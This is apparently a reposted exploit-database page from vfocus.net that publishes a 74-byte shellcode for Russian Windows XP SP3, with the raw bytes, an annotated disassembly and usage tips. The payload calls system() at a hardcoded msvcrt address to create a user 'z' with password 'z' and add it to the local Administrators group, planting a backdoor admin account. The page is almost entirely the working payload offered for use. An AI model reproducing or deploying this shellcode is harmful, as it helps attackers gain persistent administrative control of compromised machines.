|
win32/xp sp3 (ru) add local administrator in 74 bytes
|
|
来源：vfocus.net 作者：vfocus 发布时间：2010-10-18
|
|
win32/xp sp3 (ru) add local administrator in 74 bytes
"\xEB\x08\xB8\xC7\x93\xC1\x77\xFF\xD0\xCC\xE8\xF3\xFF\xFF\xFFcmd /cnet/add user z z&net/add localgroup Administrators z"
At first we jump to make call push address of our command-string in stack and then execute it with system() function.
You'd better check its address on your machine, before running. BP is used to prevent infinite looping.
The command is slightly optimized, to save something near 10 bytes od space.
The result - you get z:z user with Administrative priveleges. The last zero byte is essential.
xxx: EB 08 jmp xxx+0A ; the magic begins
xxx+02: B8 C793C177 mov eax,77C193C7 ; \ call msvcrt.system
FF D0 call eax ; /
CC int 3 ; pause ;)
xxx+0A: E8 F3FFFFFF call xxx+02 ; push xxx+0F
xxx+0F: db 'cmd /cnet/add user z z&net/add localgroup Administrators z',0
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
